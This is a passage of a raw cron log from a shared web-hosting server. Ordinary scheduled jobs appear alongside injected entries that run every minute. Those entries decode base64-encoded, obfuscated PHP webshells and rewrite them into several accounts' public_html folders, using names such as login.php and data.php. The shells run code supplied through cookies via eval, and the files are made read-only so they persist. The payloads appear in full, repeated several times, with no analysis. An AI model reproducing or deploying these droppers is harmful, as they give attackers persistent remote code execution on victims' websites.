VJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:18:01 medusa CROND[12912]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:18:01 medusa CROND[12913]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:18:01 medusa CROND[12915]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:18:01 medusa CROND[12916]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:18:01 medusa CROND[12917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:18:01 medusa CROND[12918]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:18:01 medusa CROND[12920]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:18:01 medusa CROND[12921]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:18:01 medusa CROND[12923]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Apr 19 04:18:01 medusa CROND[12924]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:18:01 medusa CROND[12931]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:18:01 medusa CROND[12932]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 04:19:01 medusa CROND[4181]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:19:01 medusa CROND[4182]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:19:01 medusa CROND[4183]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:19:01 medusa CROND[4184]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:19:01 medusa CROND[4185]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:19:01 medusa CROND[4186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:19:01 medusa CROND[4187]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:19:01 medusa CROND[4195]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:19:01 medusa CROND[4196]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 04:19:01 medusa CROND[4194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:19:01 medusa CROND[4198]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:19:01 medusa CROND[4199]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:20:01 medusa CROND[26544]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 04:20:01 medusa CROND[26577]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 04:20:01 medusa CROND[26654]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:20:01 medusa CROND[26659]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 04:20:01 medusa CROND[26660]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 04:20:01 medusa CROND[26661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:20:01 medusa CROND[26663]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:20:01 medusa CROND[26666]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:20:01 medusa CROND[26669]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:20:01 medusa CROND[26671]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
